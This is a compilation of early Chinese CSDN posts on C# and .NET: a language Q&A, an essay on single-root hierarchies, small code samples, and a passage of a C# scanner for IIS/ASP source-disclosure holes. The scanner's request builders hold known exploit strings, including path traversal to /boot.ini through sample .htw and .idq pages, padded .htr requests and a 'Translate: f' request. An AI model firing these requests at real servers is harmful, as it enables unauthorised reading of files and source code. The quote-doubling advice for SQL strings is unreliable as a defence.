答：啊……啊……又来了，再说一遍好啦，模板其实应该是运行库提供的功能，不关c#语言的事。在c#中没有提供模板功能大致有两点原因。首先呢，执行模板有一定的困难，所以微软没打算在c#的第一版中提供这样的功能，以后的版本中会有类似的功能出现的。其次呢，因为这里的运行库是支持多语言的运行库（不仅仅是c#），如果在运行库中引入模板，就意味着所有使用这个运行库的语言都必须支持模板功能，在这一点上，微软不得不慎重考虑，所以也不打算现在就把模板加进去。

q10.问：在c#中会不会用真正的关键字换掉那些把atl和com搞得乱糟糟的伪关键字？象什么ole_color、bool、variant_bool、dispid_xxxxx什么的，烦都烦死了。
答：这个您放心，绝对要换！每种类型在.net类库中都有新名字了。

q11.问：我们现在看到了有限制程序的扩展和改善，除此以外，将来c++在ms或者.net中的地位又将如何？

答：c++语言在微软的各种语言中是最独特的一种，它也是唯一可以允许程序员开发无限制低级程序的语言。所以，我们常常可以看见程序员们用c++写性能要求较高的无限制的算法代码，同时也用c++编写有限制的安全程度很高的组件代码。我认为微软会继续保留c++的现状，并维持很长一段时间。毕竟，驱动程序需要它，windows的基础也是它，很多产品也使用它。

q12.问：既然.net支持activex/com，那么如何才能保证一个运行在浏览器中的c#程序的安全性呢？

答：.net运行库提供了代码访问安全特性，它允许管理员和用户根据代码的id来配置安全等级。在缺省情况下，从internet和intranet下载的代码都不允许访问任何本地文件和资源。比方说，我写了个程序把它放到网络上，然后让它在网络上的共享目录中运行，如果它要访问我本地的一些资源，那么它将会无情地被异常扔出去，呵呵，当然，如果拷贝到本地硬盘上运行则一切正常。

q13.问：在我的机器上有c#程序，那么我是不是需要安装了.net运行库才能运行它？

答：对。所有的有限制程序都需要一个管理程序来限制它们；在这里，运行库就是管理程序。微软在以后将会把运行库打包起来免费分发，而现在最终用户必须从msdn上安装整个.net的sdk包才能运行c#。

q14.问：有人曾经提到过，c#的类可以从vb中声明的类中派生出来，是不是真的啊？哪里有这样的例子程序呢？

答：确实是真的。实际上，只要是使用运行库的语言，都可以做到在一种语言中声明类，而在另一种语言中派生类。并且，visual studio的调试器将会完全支持跨语言的程序调试，在函数堆栈调试窗口的每个条目中都会显示堆栈中的函数是什么以及它们分别用何种语言写成；另外，你甚至还可以跨语言地处理程序中的异常错误。这种特性确实棒极了，在pdc上演示这段功能的时候，大家都热烈地鼓起掌来。在.net的sdk中有例子程序演示其做法，十分简单。

q15.问：那能不能从c++类派生出c#类来呢？如果可以该怎么做？

答：上面提到过，如果你使用有限制的语言，那么自然就可以，不过要是你使用c++中无限制的部分，就不行了。

q16.问：新版本的mfc可以选择在限制环境下运行吗？

答：我平时没怎么关注mfc，不过我可以确信答案是否定的。mfc从来都没有被限制过。对于限制程序，大家应该使用winforms来管理。

q17.问：如果新版的mfc能够在一个有限环境中运行，它是不是可以在不需要.net运行库的情况下建立win32桌面应用？

答：我敢肯定mfc不可能这样，并且它从来都不需要什么运行库。

q18.问：有人说“c#只是微软windows另一种特有语言罢了，其他平台是不能用的”，你同意这种说法吗？

答：c#是针对“通用语言运行库”（clr）而开发的，而不是针对windows。如果运行库被移植到其他系统上，那么c#也可以被移植到那里。

q19.问：传闻vb7中可以象mfc那样建立运行库的静态链接，是不是真的哦？如果是真的，那c# 是不是就可以创建可以单独运行的程序了呢？

答：绝对假闻。没有哪种语言可以创建运行库的静态链接。

q20.问：c#使用资源文件吗？如果不是这样，它采用何种机制让用户定制程序呢？

答：.net架构设计器采用了一个新的资源模型。资源数据可以象win23一样嵌在exe或者dll文件中，也可以以独立文件的形式存在，比如一张bmp或者jpg图片。限于篇幅，这里就不再赘述了。


csdn_C#和C++最大的不同也是与JAVA最大的相同：单根结构

C#和C++最大的不同也是与JAVA最大的相同：单根结构
在面向对象的程序设计中，由于C++的引入而显得尤为突出的一个问题是：所有类最终是否都应从单独一个基础类继承。在
Java中（与其他几乎所有OOP语言一样），对这个问题的答案都是肯定的，而且这个终级基础类的名字很简单，就是一个
“Object”。这种“单根结构”具有许多方面的优点。
单根结构中的所有对象都有一个通用接口，所以它们最终都属于相同的类型。另一种方案（就象C++那样）是我们不能保证
所有东西都属于相同的基本类型。从向后兼容的角度看，这一方案可与C模型更好地配合，而且可以认为它的限制更少一
些。但假期我们想进行纯粹的面向对象编程，那么必须构建自己的结构，以期获得与内建到其他OOP语言里的同样的便利。
需添加我们要用到的各种新类库，还要使用另一些不兼容的接口。理所当然地，这也需要付出额外的精力使新接口与自己
的设计方案配合（可能还需要多重继承）。为得到C++额外的“灵活性”，付出这样的代价值得吗？当然，如果真的需要—
—如果早已是C专家，如果对C有难舍的情结——那么就真的很值得。但假如你是一名新手，首次接触这类设计，象Java那
样的替换方案也许会更省事一些。
单根结构中的所有对象（比如所有Java对象）都可以保证拥有一些特定的功能。在自己的系统中，我们知道对每个对象都
能进行一些基本操作。一个单根结构，加上所有对象都在内存堆中创建，可以极大简化参数的传递（这在C++里是一个复杂
的概念）。
利用单根结构，我们可以更方便地实现一个垃圾收集器。与此有关的必要支持可安装于基础类中，而垃圾收集器可将适当
的消息发给系统内的任何对象。如果没有这种单根结构，而且系统通过一个句柄来操纵对象，那么实现垃圾收集器的途径
会有很大的不同，而且会面临许多障碍。
由于运行期的类型信息肯定存在于所有对象中，所以永远不会遇到判断不出一个对象的类型的情况。这对系统级的操作来
说显得特别重要，比如违例控制；而且也能在程序设计时获得更大的灵活性。
但大家也可能产生疑问，既然你把好处说得这么天花乱坠，为什么C++没有采用单根结构呢？事实上，这是早期在效率与控
制上权衡的一种结果。单根结构会带来程序设计上的一些限制。而且更重要的是，它加大了新程序与原有C代码兼容的难
度。尽管这些限制仅在特定的场合会真的造成问题，但为了获得最大的灵活程度，C++最终决定放弃采用单根结构这一做
法。而Java不存在上述的问题，它是全新设计的一种语言，不必与现有的语言保持所谓的“向后兼容”。所以很自然地，
与其他大多数面向对象的程序设计语言一样，单根结构在Java的设计方案中很快就落实下来。
---------------
这就像MFC里CObject的作用，无论是CWin还是CFile都可以上朔的CObject。
C#和JAVA是极为相像的。c#里object对象类型是所有类型之母，它是其它类型最根本的基类。因为它是所有对象的基类，
所以可把任何类型的值赋给它。例如，一个整型：
object theObj = 123;
对于C++程序员来说：object并不等价于void*。无论如何，忘掉指针总是个好主意。

正因为这种单根结构，我们可以非常容易的做cast,包括up-cast和down-cast，也就是说：在继承树里向上造型up-cast或
向下造型down-cast。
在C#里单根结构还成为了C#独特的加框（作为一个对象利用）消框技术的理论基础。

C#利用单根结构实现在C++里利用Template完成的功能。但我觉得C#没有Template是一大损失。毕竟Template非常好的说。


csdn_C# 堆栈实现

C# 堆栈实现
namespace Stack{
using System;
public class Stack
{
private Node first = null;
private int count = 0;
/***********************************************Property Procedures do not accept any parameters. Note the
diff in the function definition (no parenthesis)************************************************/
public bool Empty
{/*******************************************Property
GetProcedure********************************************/
get
{
return (first == null);
}
}
public int Count
{/*******************************************Property Get
Procedure********************************************/
get
{ return count; } }
public object Pop()
{
if (first == null)
{
throw new InvalidOperationException ("Cant pop from an empty stack");
}
else
{
object temp = first.Value;
first = first.Next;
count--;
return temp;
}
}
public void Push(object o)
{
first = new Node(o, first);
count++;
}
class Node
{
public Node Next;
public object Value;
public Node(object value) :
this(value, null) {}
public Node(object value, Node next)
{

Next = next;
Value = value;
}
}}
class StackTest{
static void Main()
{ Stack s = new Stack();
if (s.Empty)
Console.WriteLine("Stack is Empty");
else
Console.WriteLine("Stack is not Empty");
for (int i = 0; i < 5; i++)
s.Push(i);

Console.WriteLine("Items in Stack {0}", s.Count);

for (int i = 0; i < 5; i++)
Console.WriteLine("Popped Item is {0} and the count is {1}", s.Pop(), s.Count);
s = null;
}
}}//*********END OF CODE


csdn_深入C#-访问微软首席设计师Anders Hejlsberg

深入C#-访问微软首席设计师Anders Hejlsberg
深入C#
访问微软首席设计师 Anders Hejlsberg （一）

今年七月份，O’Reilly编辑John Osborn 参加了微软专业开发人员研讨会，并就微软的.Net框架和C#程序设计语言为主题访问了 Anders Hejlsberg -著名的软件工程师，C#语言的首席设计师。

Osborn:
我曾经看过一些出版物，根据他们的观察，C#可以说是微软版的Java。作为牵头人，你喜欢别人这么说吗？

Hejlsberg:
首先，C#不是Java的翻版。在设计C#过程中，我们参考了多种语言，象C++,Java,Modula2,C以及Smalltalk等。多种语言有一些相同的核心思想不奇怪，象 deep object-orientation, object-simplification等等，这些也是我们感兴趣的。C#语言与其他语言，特别是Java语言的最主要区别是其尽量与C++靠拢。C#保留了C++的绝大部分操作符，关键字，描述方法。我们还保留了一些被Java抛弃的程序功能，例如enum ，这么一个强大的功能没理由放弃。在C#中，我们不仅保留而且有所增强，enum 成为.NET基础类库的system.Enum中的强类型数据类。不经过映射，foo类enum 不能等同于bar类。我们还保留了操作符重载和类型转换等。
C#超越那些传统编程语言的一个概念是面向组件。我们保留了原有的properties, methods, events, attributes, 以及 documentation 等优秀的语言概念，并且新创了其他语言从未有过的attributes （用于给任意对象增加带类型的，可扩展的元数据）。C#也是第一种组合了XML注释符，以让编译器在源代码中生成可读文档的语言。另一个重要概念是“一步到位”，就是你可以在一个文件中完成所有工作，不用再去建立头文件，IDL文件什么的，使其可以很方便地插入asp页面和其他环境中。
在行业中有许多关于编程语言是否需要支持properties 或 events的争论。的确，我们可以改用methods来表述这些概念。比方用象get和set的命名模式来实现property的作用等，就象在C语言中也模拟面向对象操作，只是有很多东西需要你自己打理而已。
但我们所重点考虑的是让语言更容易地操作对象。现在的程序员所编写的组件，已经不是从头编写独立的应用软件或类库，而是在通过继承其他一些基本组件，override它们的methods，properties以及events。这是一个首先要树立的概念。

Osborn:
你最近给C#做了个描述：它是C/C++家族中第一种面向组件的语言。

Hejlsberg:
是的，这也是我的主要目标。其实象Smalltalk,Lisp这些语言实际上也能做到，但代价不菲。我认为C#的一个重要创新就是使面向组件编程更加容易。比如说boxing和unboxing这两个概念，boxing允许将任何类型的值转换为一个对象，而unboxing将一个对象的值转换为一个简单类型的值。并不是说这些概念以前没有出现过，但我们使这些概念实用化，易用化。
我们并不是要让软件工程师从头掌握一种新东西，重写软件，现在的软件行业已经付不起这个代价。我们给与开发人员更大的灵活性去兼容各种网络标准，象HTTP,HTML,XML等，以及已在使用的微软技术和将来新出的.NET技术。


csdn_C#中的函数重载

C#中的函数重载
我们以前在C++中曾经知道C++中有函数重载的概念，现在在ASp.Net的C#中我们仍然可以使用函数重载的
概念和定义：
假设我们在程序中定义了两个函数:String test(String str1) 而后 int test1(int i),他们的内容都是很
简单的功能
String test(String str1){
Response.Write("函数重载测试，这个是String函数");
Return "123232";
}
int test(int i){
Response.Write("函数重载测试，这个是int函数");
Return 1;
}
当我们调用 test("豆腐") 和 test(888),编译器非但不会报错，而且会执行出不同的结果,这样。
函数重载给我们在编程的过程中带来了很大的方便，我们可以由编译器来决定根据我们参数的变化相应的
执行不同的代码。而且 这个也是 面向对象编程的一个主要的特色之一。相信MS的确想让ASP.Net成为Web
未来编程的规范。


csdn_用浏览器来接收C# 的程序返回的时间cool!

用浏览器来接收C# 的程序返回的时间cool!

今天早上 我写了一篇 用socket 做的 时间服务器，当时我说准备用一段时间作个不需要客户端接收数据
而是用 浏览器 接收数据的程序，很顺利，一天的时间 我就做好了：）
闲话不说，先看程序。。。

using System;
using System.Collections;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Threading;

class HttpProcessor {

private Socket s;
private BufferedStream bs;
private StreamReader sr;
private StreamWriter sw;
private String method;
private String url;
private String protocol;
private Hashtable hashTable;

public HttpProcessor(Socket s) {
this.s = s;
hashTable = new Hashtable();
}

public void process() {
NetworkStream ns = new NetworkStream(s, FileAccess.ReadWrite);
bs = new BufferedStream(ns);
sr = new StreamReader(bs);
sw = new StreamWriter(bs);
writeURL();
s.Shutdown(SocketShutdown.SdBoth);
ns.Close();
}
public void writeURL() {
try {
writeSuccess();
} catch(FileNotFoundException) {
writeFailure();
sw.WriteLine("File not found: " + url);
}
sw.Flush();
}

public void writeSuccess() {
sw.WriteLine("HTTP/1.1 200 OK");
sw.WriteLine("Server: Microsoft-IIS/5.0");
sw.WriteLine("Date: Mon, 27 Nov 2000 08:19:43 GMT");
sw.WriteLine("Content-Length: 6");
sw.WriteLine("Content-Type: text/html");
sw.WriteLine("");

String strDateLine;
DateTime now;
now = DateTime.Now;
strDateLine = now.ToShortDateString() + " " + now.ToLongTimeString();
sw.WriteLine(strDateLine);
}

public void writeFailure() {
sw.WriteLine("HTTP/1.0 404 File not found");
sw.WriteLine("Connection: close");
sw.WriteLine();
}
}

public class HttpServer {
public HttpServer() : this(81) {
}

public HttpServer(int port) {
this.port = port;
}
public void listen() {
Socket listener = new Socket(0, SocketType.SockStream, ProtocolType.ProtTCP);
IPAddress ipaddress = new IPAddress("169.254.0.244");
IPEndPoint endpoint = new IPEndPoint(ipaddress, port);
listener.Bind(endpoint);
listener.Blocking = true;
listener.Listen(-1);
Console.WriteLine("Press Ctrl+c to Quit...");
while(true) {
Socket s = listener.Accept();
HttpProcessor processor = new HttpProcessor(s);
Thread thread = new Thread(new ThreadStart(processor.process));
thread.Start();
}
}
public static int Main(String[] args) {
HttpServer httpServer;
if(args.GetLength(0) > 0) {
httpServer = new HttpServer(args[0].ToUInt16());
} else {
httpServer = new HttpServer();
}
Thread thread = new Thread(new ThreadStart(httpServer.listen));
thread.Start();
return 0;
}
}


csdn_C#操作技巧的数据类型之间的转换

C#操作技巧的数据类型之间的转换
我们在 VB 中的数据类型之间的转换是非常容易的cStr,cInt等等的函数，我们大家在使用的时候应该都已经
是非常的清楚了，现在可以用C#做Web应用了！这下 我们又多了一种语言的选择，再加上确实有很多人对
VB编程怀有很多的不理解:(,所以他们宁可使用C#进行编程，也有很多的同志立场不坚定！也想学习学习C#
语言(比如：豆腐。。),这样,数据转换的问题就突现出来了！此外还有对String 数据类型的转换
首先我们来看看int和String 之间的转换
int->String,使用ToString函数,大家看看这个例子 1.ToString(),老天，这样的语法都可以通过鉴定:)
这就是C#语言
String->int 就有很多的选择了（其实就是一个）,比如:"12345".ToInt16(),函数,当然还有ToInt32,ToInt64 等等
的类似的函数，用法都是一样的

如何把String根据指定的规则转换成数组类型,"http://www.asp888.net 豆腐技术站".split(" ".ToCharAray())

如何在一个String中将指定的String转换成另外的String,例如: 将 "'" 转换成 "''"
我们在这里需要引入一个新的 Class StringBuilder,我们来看看这个函数
<script language="C#" runat=server>
function replaceStr1ToStr2(String str1,String str2,String str3){
//str1 是包含有要替换的字符串的 原字符串
//str2 是要替换的字符串
//str3 是要将 str2 替换成的 str3
StringBuilder d=new StringBuilder(str1);
d=d.Replace(str2,str3);
return d.ToString();
}
</script>
然后，我们就可以通过 replaceStr1ToStr2(str,"'","''")处理SQL语句的时候处理"'"符号了！另外
还可以通过replaceStr1ToStr2(str,"\n","<br>") 来处理输出数据的时候的回车了！！！


csdn_一个用c#写的扫描asp源码漏洞的应用程序(续)

一个用c#写的扫描asp源码漏洞的应用程序(续)
//主要方法
protected void btnGo_Click (object sender, System.EventArgs e)
{

//解析url
string strServer = this.txtServer.Text ;
string strUrl = this.txtFileName.Text ;
char [] point = {'.'} ; //定义分割符为"."
char[] line = {'/'} ; //定义分割符为"."
string [] arrString = strUrl.Split(line) ;

//求asp文件全名
string strFileName = arrString[arrString.Length - 1] ;
//求从根目录下的路径
string strPath = strUrl.Substring( 0 ,
strUrl.Length - strFileName.Length) ;

//解析文件全名
arrString = strFileName.Split(point) ;
//求文件扩展名
string strLast = arrString[arrString.Length - 1] ;
//求文件名
string strFirst = strFileName.Substring( 0 ,
strFileName.Length - strLast.Length - 1) ;

//使按钮、输入框等失效
this.txtServer.ReadOnly = true ;
this.txtFileName.ReadOnly = true ;
this.btnClear.Enabled = false ;
this.btnGo.Enabled = false ;

if (this.txtServer.Text == "http://" || this.txtFileName.Text == ""
|| this.txtServer.Text.Trim()== "" ||
this.txtServer.Text.Substring(0,7) != "http://")
{
MessageBox.Show("请输入正确的主机名和文件名！") ;
this.txtServer.Focus() ;
}
else
{
this.txtResult.Visible = true ;
this.txtResult.ReadOnly = true ;
this.barStatus.Text = "正在连结主机…" ;

string strRequestFile ;

switch (this.cboMethod.SelectedIndex)
{
case 0: //直接读取
strRequestFile = strServer + strUrl ;
break ;
case 5 : //%2e%41sp
strRequestFile = strServer + strPath + strFirst
+ "%2e%41sp" ;
break ;
case 8 : //longhtr
strRequestFile = strServer + strUrl
+ "+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htr" ;
break ;

case 10: //codebrws.asp
strRequestFile = strServer + "/iissamples/exair/howitworks/codebrws.asp?source="
+ strUrl ;
break ;

case 11: //showcode.asp
strRequestFile = strServer + "/iissamples/exair/howitworks/codebrws.asp?source="
+ "/msadc/../../../../boot.ini" ;
break;

case 12 : //null.htw
strRequestFile = strServer + "/null.htw?CiWebHitsFile="
+ strUrl + "%20&CiRestriction=none&CiHiliteType=Full" ;
break ;
case 13 : //qfullhit.htw
strRequestFile = strServer + "/iissamples/issamples/oop/qfullhit.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full";
break ;

case 14 : //qsumrhit.htw
strRequestFile = strServer + "/iissamples/issamples/oop/qsumrhit.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full";
break ;

case 15 : //query.idq
strRequestFile = strServer + "/query.idq?CiTemplate=/../../boot.ini"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htx";
break ;

case 16: //search/qfullhit.htw
strRequestFile = strServer + "/iissamples/exair/search/qfullhit.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full";
break ;

case 17: // search/qsumrhit.htw
strRequestFile = strServer + "/iissamples/exair/search/qsumrhit.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full";
break ;

case 18: //iirturnh.htw
strRequestFile = strServer + "/iishelp/iis/misc/iirturnh.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full";
break ;

case 19: //.htw
strRequestFile = strServer + strUrl
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full" ;
break ;

default:
strRequestFile = strServer + strUrl + this.cboMethod.Text ;
}

this.barStatus.Text = "发送请求："
+ (strRequestFile.Length >= 50 ?
strRequestFile.Substring(0 , 50)
:strRequestFile)
+ "...";

string strResult ;
//如果不是translate:f方法则可以直接发送http请求
if (this.cboMethod.SelectedIndex != 20)
{
//直接发送http请求
strResult = Get_Http(strRequestFile) ;

this.barStatus.Text += "完成。" ;
strResult = strResult == "" ? "未找到！" : strResult ;
this.txtResult.Text = strResult ;
}
else //translate:f方法需要建立tcp/ip连接
{
string strRequest = "GET " + strServer + strUrl
+ "\r\nHTTP/1.0\r\nTranslate:f\r\n" ;
strResult = Get_Socket_Request(strServer , strRequest , 80) ;
this.barStatus.Text += "完成。" ;
strResult = strResult == "" ? "未找到！" : strResult ;
this.txtResult.Text = strResult ;

}

}

//使按钮、输入款等恢复
this.txtServer.ReadOnly = false ;
this.txtFileName.ReadOnly = false ;
this.btnClear.Enabled = true ;
this.btnGo.Enabled = true ;

}

//通过同server建立tcp/ip连接，发送socket命令
private string Get_Socket_Request(string a_strServer , string a_strRequest , Int32 a_intPort)
{
//Set up variables and String to write to the server
Encoding ASCII = Encoding.Default ;
string Get = a_strRequest + "Connection: Close\r\n\r\n";
//string Get =
Byte[] ByteGet = ASCII.GetBytes(Get);
Byte[] RecvBytes = new Byte[256];
String strRetPage = null;

// IPAddress and IPEndPoint represent the endpoint that will
// receive the request
IPAddress hostadd = DNS.Resolve(a_strServer.Substring(7 ,a_strServer.Length - 7));
IPEndPoint EPhost = new IPEndPoint(hostadd, a_intPort);

//Create the Socket for sending data over TCP
Socket s = new Socket(AddressFamily.AfINet, SocketType.SockStream,
ProtocolType.ProtTCP );

// Connect to host using IPEndPoint
if (s.Connect(EPhost) != 0)
{
strRetPage = "Unable to connect to host";
return strRetPage;
}

// Sent the GET text to the host
s.Send(ByteGet, ByteGet.Length, 0);

// Receive the page, loop until all bytes are received
Int32 bytes = s.Receive(RecvBytes, RecvBytes.Length, 0);
strRetPage = strRetPage + ASCII.GetString(RecvBytes, 0, bytes);

while (bytes > 0)
{
bytes = s.Receive(RecvBytes, RecvBytes.Length, 0);
strRetPage = strRetPage + ASCII.GetString(RecvBytes, 0, bytes);
}

return strRetPage ;
}

//获取http页面函数
private string Get_Http(string a_strUrl)
{
string strResult ;
HttpWebRequest myReq = (HttpWebRequest)
WebRequestFactory.Create(a_strUrl) ;

try
{
HttpWebResponse HttpWResp = (HttpWebResponse)myReq.GetResponse();
Stream myStream = HttpWResp.GetResponseStream () ;

StreamReader sr = new StreamReader(myStream , Encoding.Default);
StringBuilder strBuilder = new StringBuilder();
while (-1 != sr.Peek())
{
strBuilder.Append(sr.ReadLine()+"\r\n");
}

strResult = strBuilder.ToString();
}
catch(Exception exp)
{
strResult = "错误：" + exp.Message ;
}

return strResult ;

}

//退出
protected void mnuExit_Click (object sender, System.EventArgs e)
{

if (MessageBox.Show("真的退出吗？" , "退出系统" , MessageBox.YesNo) == DialogResult.Yes)
{
this.Close () ;

}
}

//主函数
public static void Main(string[] args)
{
Application.Run(new Form1());
}
}
}


csdn_一个用c#写的扫描asp源码漏洞的应用程序

一个用c#写的扫描asp源码漏洞的应用程序
这儿就是昨天说的那个程序主要部分的源代码，如果要全部代码请到我的主页去下载。
贴不开，分两次。

//--------------------------------------------------------------------------
//
// file name : form1.cs
//
// description : 主form
//
// date: 2001/1/3
//
// author : bigeagle@163.net
// http://bigeagle.yeah.net
//
// history : 2000/1/3 version 0.9
//
// ToDo: translate:f 方法似乎有问题，等得到有关http协议的资料在修改
//
//-------------------------------------------------------------------------

namespace findbug
{
using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.WinForms;
using System.Data;
using System.Net ;
using System.IO ;
using System.Text ;
using System.Net.Sockets ;

/// <summary>
/// Summary description for Form1.
/// </summary>
public class Form1 : System.WinForms.Form
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.Container components;
private System.WinForms.StatusBar barStatus;
private System.WinForms.Button btnClear;
private System.WinForms.TextBox txtResult;
private System.WinForms.Button btnGo;
private System.WinForms.Label label3;
private System.WinForms.ComboBox cboMethod;
private System.WinForms.TextBox txtFileName;
private System.WinForms.Label label2;
private System.WinForms.TextBox txtServer;
private System.WinForms.Label label1;
private System.WinForms.MenuItem mnuExit;
private System.WinForms.MenuItem menuItem1;
private System.WinForms.MenuItem mnuNew;
private System.WinForms.MenuItem mnuAbount;
private System.WinForms.MenuItem mnuHelp;
private System.WinForms.MenuItem mnuSave;
private System.WinForms.MenuItem mnuFile;
private System.WinForms.MainMenu mainMenu1;

public Form1()
{
//
// Required for Windows Form Designer support
//
InitializeComponent();

//初始化窗口
InitForm() ;

}

public override void Dispose()
{
base.Dispose();
components.Dispose();
}

//初始化控件
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container ();
this.mnuSave = new System.WinForms.MenuItem ();
this.mnuNew = new System.WinForms.MenuItem ();
this.cboMethod = new System.WinForms.ComboBox ();
this.btnGo = new System.WinForms.Button ();
this.menuItem1 = new System.WinForms.MenuItem ();
this.mnuFile = new System.WinForms.MenuItem ();
this.txtServer = new System.WinForms.TextBox ();
this.mnuHelp = new System.WinForms.MenuItem ();
this.btnClear = new System.WinForms.Button ();
this.label2 = new System.WinForms.Label ();
this.label1 = new System.WinForms.Label ();
this.mnuAbount = new System.WinForms.MenuItem ();
this.barStatus = new System.WinForms.StatusBar ();
this.mainMenu1 = new System.WinForms.MainMenu ();
this.mnuExit = new System.WinForms.MenuItem ();
this.txtResult = new System.WinForms.TextBox ();
this.label3 = new System.WinForms.Label ();
this.txtFileName = new System.WinForms.TextBox ();
mnuSave.Text = "保存";
mnuSave.Shortcut = System.WinForms.Shortcut.CtrlS;
mnuSave.Index = 1;
mnuNew.Text = "新建";
mnuNew.Shortcut = System.WinForms.Shortcut.F2;
mnuNew.Index = 0;
mnuNew.Click += new System.EventHandler (this.mnuNew_Click);
cboMethod.Location = new System.Drawing.Point (96, 56);
cboMethod.Size = new System.Drawing.Size (121, 20);
cboMethod.TabIndex = 4;
btnGo.Location = new System.Drawing.Point (296, 56);
btnGo.Size = new System.Drawing.Size (75, 23);
btnGo.TabIndex = 6;
btnGo.Text = "让我看";
btnGo.Click += new System.EventHandler (this.btnGo_Click);
menuItem1.Text = "-";
menuItem1.Index = 2;
mnuFile.Text = "文件(&F)";
mnuFile.Index = 0;
mnuFile.MenuItems.All = new System.WinForms.MenuItem[4] {this.mnuNew, this.mnuSave, this.menuItem1, this.mnuExit};
txtServer.Location = new System.Drawing.Point (96, 16);
txtServer.Text = "http://";
txtServer.TabIndex = 1;
txtServer.Size = new System.Drawing.Size (100, 21);
mnuHelp.Text = "帮助(&H)";
mnuHelp.Index = 1;
mnuHelp.MenuItems.All = new System.WinForms.MenuItem[1] {this.mnuAbount};
btnClear.Location = new System.Drawing.Point (408, 56);
btnClear.Size = new System.Drawing.Size (75, 23);
btnClear.TabIndex = 8;
btnClear.Text = "清空";
btnClear.Click += new System.EventHandler (this.btnClear_Click);
label2.Location = new System.Drawing.Point (224, 16);
label2.Text = "文件名：";
label2.Size = new System.Drawing.Size (72, 16);
label2.Font = new System.Drawing.Font ("宋体", 12);
label2.TabIndex = 2;
label1.Location = new System.Drawing.Point (24, 21);
label1.Text = "主机名：";
label1.Size = new System.Drawing.Size (72, 16);
label1.Font = new System.Drawing.Font ("宋体", 12);
label1.TabIndex = 0;
mnuAbount.Text = "关于";
mnuAbount.Shortcut = System.WinForms.Shortcut.CtrlA;
mnuAbount.Index = 0;
mnuAbount.Click += new System.EventHandler (this.mnuAbount_Click);
barStatus.BackColor = System.Drawing.SystemColors.Control;
barStatus.Location = new System.Drawing.Point (0, 423);
barStatus.Size = new System.Drawing.Size (568, 18);
barStatus.TabIndex = 9;
barStatus.Text = "就绪";
mainMenu1.MenuItems.All = new System.WinForms.MenuItem[2] {this.mnuFile, this.mnuHelp};
mnuExit.Text = "退出(&X)";
mnuExit.Shortcut = System.WinForms.Shortcut.AltF4;
mnuExit.Index = 3;
mnuExit.Click += new System.EventHandler (this.mnuExit_Click);
txtResult.Location = new System.Drawing.Point (16, 96);
txtResult.Multiline = true;
txtResult.ScrollBars = System.WinForms.ScrollBars.Both;
txtResult.TabIndex = 7;
txtResult.Size = new System.Drawing.Size (536, 312);
txtResult.Visible = false;
label3.Location = new System.Drawing.Point (32, 56);
label3.Text = "使用";
label3.Size = new System.Drawing.Size (56, 16);
label3.Font = new System.Drawing.Font ("宋体", 12);
